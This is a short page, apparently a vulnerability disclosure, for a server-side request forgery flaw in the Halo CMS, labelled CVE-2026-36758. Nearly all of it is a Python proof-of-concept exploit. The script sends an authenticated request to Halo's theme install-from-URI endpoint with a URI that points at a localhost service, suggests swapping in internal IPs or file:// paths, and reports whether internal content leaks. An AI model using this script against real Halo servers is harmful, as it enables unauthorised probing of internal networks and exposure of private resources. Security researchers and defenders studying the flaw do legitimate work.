CVE-2026-36758 Halo服务端请求伪造漏洞

import requests def check_ssrf(target_url, cookie): """ PoC for CVE-2026-36758 Halo SSRF Vulnerability """ # The vulnerable endpoint endpoint = "/themes/-/install-from-uri" # Malicious URI pointing to internal resource (e.g., localhost admin) # Change to internal IP or file:// protocol based on environment internal_uri = "http://127.0.0.1:8080/api/health" headers = { "User-Agent": "Mozilla/5.0 (compatible; SSRF-Tester/1.0)", "Cookie": cookie } params = { "uri": internal_uri } try: print(f"[*] Sending request to {target_url}{endpoint} with payload: {internal_uri}") response = requests.get(target_url + endpoint, headers=headers, params=params, timeout=10) if response.status_code == 200: print(f"[+] Request successful! Status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") print("[+] Check response content for signs of internal resource leakage.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:8090" # Replace with actual target session_cookie = "SESSION=your_cookie_here" # Replace with valid auth cookie check_ssrf(target, session_cookie)